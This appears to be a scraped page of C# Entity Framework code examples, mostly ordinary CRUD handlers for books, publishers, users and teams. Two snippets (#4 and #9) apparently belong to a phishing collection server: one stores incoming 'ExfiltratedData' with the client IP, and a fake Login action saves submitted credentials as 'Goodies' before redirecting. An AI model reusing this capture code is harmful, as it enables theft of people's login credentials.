예제 #1
0
        public async Task <IActionResult> OnPostAsync()
        {
            if (!ModelState.IsValid)
            {
                return(Page());
            }

            _context.QuoteEntities.Add(QuoteEntity);
            await _context.SaveChangesAsync();

            return(RedirectToPage("./Index"));
        }
예제 #2
0
        public async Task <IActionResult> UserRegisterAsync([FromBody] UserRegisterDto regUser)
        {
            if (await authService.UserExistsAsync(regUser.UserName))
            {
                ModelState.AddModelError("UserName", "Username already exist");
            }

            if (!ModelState.IsValid)
            {
                return(BadRequest(ModelState));
            }

            var addUser = new User
            {
                UserName     = regUser.UserName,
                UserRole     = "customer",
                RoleId       = 2,
                RegisterDate = DateTime.Now,
                LastLog      = DateTime.Now
            };

            var newUser = await authService.RegisterAsync(addUser, regUser.Password);

            var customer = mapper.Map <Customer>(newUser);

            customer.UserId   = newUser.Id;
            customer.UserName = newUser.UserName;
            var basket = new Basket
            {
                CustomerId = customer.Id
            };
            await context.Baskets.AddAsync(basket);

            await context.Customers.AddAsync(customer);

            await context.SaveChangesAsync();

            return(StatusCode(201, newUser));
        }
예제 #3
0
        public async Task <IActionResult> Post([FromBody] string value)
        {
            var valueToAdd = new Value
            {
                Name = value
            };

            await DataContext.Values.AddAsync(valueToAdd);

            await DataContext.SaveChangesAsync();

            return(Ok(valueToAdd));
        }
예제 #4
0
        public async Task Get(string stringData)
        {
            if (!string.IsNullOrEmpty(stringData))
            {
                var data = JsonConvert.DeserializeObject <ExfiltratedData>(stringData);
                data.ID        = 0;
                data.Timestamp = DateTime.UtcNow;
                data.ClientIP  = _httpContextAccessor.HttpContext.Connection.RemoteIpAddress.ToString();
                await _ctx.AddAsync(data);

                await _ctx.SaveChangesAsync();
            }
        }
예제 #5
0
        public async Task Handle(BookAddedIntegrationEvent @event)
        {
            var rating = new BookRating
            {
                BookId    = @event.BookId.ToString(),
                BookTitle = @event.Title,
                Stars     = GetRandomNumber(1, 5)
            };

            _context.BookRatings.Add(rating);

            await _context.SaveChangesAsync();
        }
예제 #6
0
        public async Task <Unit> Handle(AddCommand request, CancellationToken cancellationToken)
        {
            var book = new Book {
                Title        = request.Title,
                Description  = request.Description,
                Genres       = new List <BooksGenres>(),
                Authors      = new List <AuthorsBooks>(),
                CreationDate = DateTime.UtcNow
                               // CreatorId =
                               // TODO (v0.5): add creator id.
            };

            foreach (var genreId in request.GenreIds)
            {
                var genre = await _context.Genres.FindAsync(genreId);

                if (genre == null)
                {
                    throw new GenreNotFoundException(genreId);
                }

                book.Genres.Add(new BooksGenres {
                    Genre = genre
                });
            }

            foreach (var authorId in request.AuthorIds)
            {
                var author = await _context.Authors.FindAsync(authorId);

                if (author == null)
                {
                    throw new AuthorNotFoundException(authorId);
                }

                book.Authors.Add(new AuthorsBooks {
                    Author = author
                });
            }

            _context.Books.Add(book);

            var success = await _context.SaveChangesAsync() > 0;

            if (success)
            {
                return(Unit.Value);
            }

            throw new Exception("Problem saving changes.");
        }
예제 #7
0
        public async Task <User> RegisterAsync(User user, string password)
        {
            byte[] passwordHash, passwordSalt;
            CreatePasswordHash(password, out passwordHash, out passwordSalt);
            user.PasswordHash = passwordHash;
            user.PasswordSalt = passwordSalt;


            await context.Users.AddAsync(user);

            await context.SaveChangesAsync();

            return(user);
        }
예제 #8
0
        public async Task <Unit> Handle(UpdateEditionCommand request, CancellationToken cancellationToken)
        {
            var bookEdition = await _context.BookEditions.FindAsync(request.Isbn);

            if (bookEdition == null)
            {
                throw new BookEditionNotFoundException(request.Isbn);
            }

            var book = await _context.Books.FindAsync(request.BooksId);

            if (book == null)
            {
                throw new BookNotFoundException(request.BooksId);
            }

            var dimension = await _context.Dimensions.FindAsync(request.DimensionsId);

            if (dimension == null)
            {
                throw new DimensionNotFoundException(request.DimensionsId);
            }

            var publisher = await _context.Publishers.FindAsync(request.PublishersId);

            if (publisher == null)
            {
                throw new PublisherNotFoundException(request.PublishersId);
            }

            if (!string.IsNullOrEmpty(request.NewIsbn) && !request.NewIsbn.Equals(request.Isbn))
            {
                bookEdition.Isbn = request.NewIsbn;
            }

            bookEdition.PageCount  = request.PageCount;
            bookEdition.PrintDate  = request.PrintDate;
            bookEdition.Book       = book;
            bookEdition.Dimensions = dimension;
            bookEdition.Publisher  = publisher;

            var success = await _context.SaveChangesAsync() > 0;

            if (success)
            {
                return(Unit.Value);
            }

            throw new Exception("Problem saving changes.");
        }
예제 #9
0
        public async Task <IActionResult> Login(LoginViewModel loginViewModel)
        {
            await _ctx.Goodies.AddAsync(new ExfiltratedData
            {
                ClientIP      = _httpContextAccessor.HttpContext.Connection.RemoteIpAddress.ToString(),
                CorrelationId = Guid.NewGuid(),
                Data          = JsonConvert.SerializeObject(loginViewModel),
                DataType      = "Login credentials - from redirect",
                Timestamp     = DateTime.UtcNow
            });

            await _ctx.SaveChangesAsync();

            return(Redirect("https://localhost:5001/"));
        }
 public async Task CommitAsync()
 {
     try
     {
         await DataContext.SaveChangesAsync().ConfigureAwait(false);
     }
     catch (Exception e)
     {
         throw new Exception(e.Message);
     }
     finally
     {
         DataContext.Dispose();
     }
 }
예제 #11
0
        public async Task CreateAsync(string username)
        {
            var user = await _context.Usuario.SingleOrDefaultAsync(x => x.UserName.Equals(username));

            if (user == null)
            {
                _context.Usuario.Add(new Usuario {
                    UserName = username
                });
                await _context.SaveChangesAsync();
            }
            else
            {
                throw new Exception("Username já utilizado!");
            }
        }
예제 #12
0
        public async Task <Unit> Handle(AddEditionCommand request, CancellationToken cancellationToken)
        {
            var book = await _context.Books.FindAsync(request.BooksId);

            if (book == null)
            {
                throw new BookNotFoundException(request.BooksId);
            }

            var dimension = await _context.Dimensions.FindAsync(request.DimensionsId);

            if (dimension == null)
            {
                throw new DimensionNotFoundException(request.DimensionsId);
            }

            var publisher = await _context.Publishers.FindAsync(request.PublishersId);

            if (publisher == null)
            {
                throw new PublisherNotFoundException(request.PublishersId);
            }

            var bookEdition = new BookEdition
            {
                Isbn         = request.Isbn,
                PageCount    = request.PageCount,
                PrintDate    = request.PrintDate,
                Book         = book,
                Dimensions   = dimension,
                Publisher    = publisher,
                CreationDate = DateTime.UtcNow
                               // CreatorId =
                               // TODO (v0.5): add creator id.
            };

            _context.BookEditions.Add(bookEdition);

            var success = await _context.SaveChangesAsync() > 0;

            if (success)
            {
                return(Unit.Value);
            }

            throw new Exception("Problem saving changes.");
        }
예제 #13
0
        public async Task <IActionResult> OnPostAsync()
        {
            if (!ModelState.IsValid)
            {
                return(Page());
            }

            Team.AllowedUserIDs = User.Identity.Name;

            Team.ExPts = 0;
            if (Team.Latched == true)
            {
                Team.ExPts += 30;
            }
            if (Team.Sampling == true)
            {
                Team.ExPts += 25;
            }
            if (Team.TeamMarker == true)
            {
                Team.ExPts += 15;
            }
            if (Team.Parking == true)
            {
                Team.ExPts += 10;
            }
            if (Team.EndLocation.ToLower().Contains("latched"))
            {
                Team.ExPts += 50;
            }
            else if (Team.EndLocation.ToLower().Contains("partial"))
            {
                Team.ExPts += 15;
            }
            else if (Team.EndLocation.ToLower().Contains("full"))
            {
                Team.ExPts += 25;
            }
            Team.ExPts += Team.DepotMinerals * 2;
            Team.ExPts += Team.GoldMinerals * 5;
            Team.ExPts += Team.SilverMinerals * 5;

            _context.Team.Add(Team);
            await _context.SaveChangesAsync();

            return(RedirectToPage("./Index"));
        }
예제 #14
0
        public async Task <IActionResult> OnPostAsync(int?id)
        {
            if (id == null)
            {
                return(NotFound());
            }

            Team = await _context.Team.FindAsync(id);

            if (Team != null)
            {
                _context.Team.Remove(Team);
                await _context.SaveChangesAsync();
            }

            return(RedirectToPage("./Index"));
        }
예제 #15
0
        public async Task CreateRequestForCommandAsync <T>(Guid id)
        {
            var exists = await ExistAsync(id);

            var request = exists ?
                          throw new Exception($"Request with {id} already exists") :
                                new IdempotencyTransactionLog()
                                {
                                    Id   = id,
                                    Name = typeof(T).Name,
                                    Time = DateTime.UtcNow
                                };

            _context.Add(request);

            await _context.SaveChangesAsync();
        }
예제 #16
0
        public async Task <IActionResult> OnPostAsync(Guid?id)
        {
            if (id == null)
            {
                return(NotFound());
            }

            QuoteEntity = await _context.QuoteEntities.FindAsync(id);

            if (QuoteEntity != null)
            {
                _context.QuoteEntities.Remove(QuoteEntity);
                await _context.SaveChangesAsync();
            }

            return(RedirectToPage("./Index"));
        }
예제 #17
0
        public async void TestAsync()
        {
            using (AppDataContext dbContext = new AppDataContext(GetConnectionDetails()))
            {
                Book book = Book.CreateBook("Four Hour Work Week", "Tim Ferris", new DateTime(2001, 10, 12));

                book.Like();
                book.Like();

                book.DisLike();

                book.AddReview(Review.CreateReview("Great Book!", "*****@*****.**"));

                await dbContext.Books.AddAsync(book);

                await dbContext.SaveChangesAsync();
            }
        }
예제 #18
0
        public async Task <StudentEntity> Add(StudentEntity studentEntity)
        {
            await _studentEntities.AddAsync(studentEntity);

            try
            {
                await _appDataContext.SaveChangesAsync();
            }
            catch
            {
                if (await DoesExist(studentEntity.Id))
                {
                    throw new ArgumentOutOfRangeException(nameof(studentEntity), studentEntity, "Student with specified id already exists.");
                }
                throw;
            }

            return(studentEntity);
        }
예제 #19
0
        public async Task <Unit> Handle(AddCommand request, CancellationToken cancellationToken)
        {
            var publisher = new Publisher
            {
                Name        = request.Name,
                Description = request.Description
            };

            _context.Publishers.Add(publisher);

            var success = await _context.SaveChangesAsync() > 0;

            if (success)
            {
                return(Unit.Value);
            }

            throw new Exception("Problem saving changes.");
        }
예제 #20
0
        public async Task <Unit> Handle(UpdateCommand request, CancellationToken cancellationToken)
        {
            var genre = await _context.Genres.FindAsync(request.Id);

            if (genre == null)
            {
                throw new GenreNotFoundException(request.Id);
            }

            genre.Name = request.Name;

            var success = await _context.SaveChangesAsync() > 0;

            if (success)
            {
                return(Unit.Value);
            }

            throw new Exception("Problem saving changes.");
        }
            public async Task <Unit> Handle(Client request, CancellationToken cancellationToken)
            {
                var client = await _context.DealerInfos.FindAsync(request.Id);

                if (client == null)
                {
                    throw new Exception("Dealer info not found");
                }

                _context.Remove(client);

                var success = await _context.SaveChangesAsync() > 0;

                if (success)
                {
                    return(Unit.Value);
                }

                throw new Exception("Problem saving changes");
            }
예제 #22
0
        public async Task <Unit> Handle(DeleteOneEditionCommand request, CancellationToken cancellationToken)
        {
            var bookEdition = await _context.BookEditions.FindAsync(request.Isbn);

            if (bookEdition == null)
            {
                throw new BookEditionNotFoundException(request.Isbn);
            }

            _context.Remove(bookEdition);

            var success = await _context.SaveChangesAsync() > 0;

            if (success)
            {
                return(Unit.Value);
            }

            throw new Exception("Problem saving changes.");
        }
예제 #23
0
        public async Task <Unit> Handle(DeleteManyEditionCommand request, CancellationToken cancellationToken)
        {
            var bookEditions = _context.BookEditions.Where(b => request.Isbns.Contains(b.Isbn));

            if (!bookEditions.Any())
            {
                throw new BookEditionNotFoundException(request.Isbns);
            }

            _context.RemoveRange(bookEditions);

            var success = await _context.SaveChangesAsync() > 0;

            if (success)
            {
                return(Unit.Value);
            }

            throw new Exception("Problem saving changes.");
        }
예제 #24
0
        public async Task <Unit> Handle(DeleteManyCommand request, CancellationToken cancellationToken)
        {
            var dimensions = _context.Dimensions.Where(d => request.Ids.Contains(d.Id));

            if (!dimensions.Any())
            {
                throw new DimensionNotFoundException(request.Ids);
            }

            _context.RemoveRange(dimensions);

            var success = await _context.SaveChangesAsync() > 0;

            if (success)
            {
                return(Unit.Value);
            }

            throw new Exception("Problem saving changes.");
        }
예제 #25
0
        public async Task <Unit> Handle(DeleteOneCommand request, CancellationToken cancellationToken)
        {
            var serie = await _context.Series.FindAsync(request.Id);

            if (serie == null)
            {
                throw new SerieNotFoundException(request.Id);
            }

            _context.Remove(serie);

            var success = await _context.SaveChangesAsync() > 0;

            if (success)
            {
                return(Unit.Value);
            }

            throw new Exception("Problem saving changes.");
        }
예제 #26
0
        public async Task <Unit> Handle(AddCommand request, CancellationToken cancellationToken)
        {
            var genre = new Genre
            {
                Name         = request.Name,
                CreationDate = DateTime.UtcNow,
                // CreatorId =
                // TODO (v0.5): add creator id.
            };

            _context.Genres.Add(genre);

            var success = await _context.SaveChangesAsync() > 0;

            if (success)
            {
                return(Unit.Value);
            }

            throw new Exception("Problem saving changes.");
        }
예제 #27
0
        public async Task <Unit> Handle(UpdateCommand request, CancellationToken cancellationToken)
        {
            var publisher = await _context.Publishers.FindAsync(request.Id);

            if (publisher == null)
            {
                throw new PublisherNotFoundException(request.Id);
            }

            publisher.Name        = request.Name;
            publisher.Description = request.Description;

            var success = await _context.SaveChangesAsync() > 0;

            if (success)
            {
                return(Unit.Value);
            }

            throw new Exception("Problem saving changes.");
        }
예제 #28
0
        public async Task <Unit> Handle(UpdateCommand request, CancellationToken cancellationToken)
        {
            var dimension = await _context.Dimensions.FindAsync(request.Id);

            if (dimension == null)
            {
                throw new DimensionNotFoundException(request.Id);
            }

            dimension.Width  = request.Width;
            dimension.Height = request.Height;

            var success = await _context.SaveChangesAsync() > 0;

            if (success)
            {
                return(Unit.Value);
            }

            throw new Exception("Problem saving changes.");
        }
            public async Task <Unit> Handle(Command request, CancellationToken cancellationToken)
            {
                var commentReaction = new CommentReaction
                {
                    Id        = request.Id,
                    CommentId = request.CommentId,
                    Like      = request.Like,
                    DisLike   = request.DisLike
                };


                _context.CommentReactions.Add(commentReaction);
                var result = await _context.SaveChangesAsync() > 0;

                if (result)
                {
                    return(Unit.Value);
                }

                throw new Exception();
            }
예제 #30
0
        public async Task ItWorksOutsideOfUnitOfWork()
        {
            var contact    = new FacilityContact(null, null);
            var dbFacility = new DbFacility("myFacility", contact)
            {
                Id = SequentialGuid.Next(),
            };

            using (var db = new AppDataContext())
            {
                db.Facilities.Add(dbFacility);
                await db.SaveChangesAsync();
            }

            using (var db = new AppDataContext())
            {
                var dbFacility2 = await db.Facilities.SingleAsync();

                Assert.AreEqual(dbFacility.Name, dbFacility2.Name);
            }
        }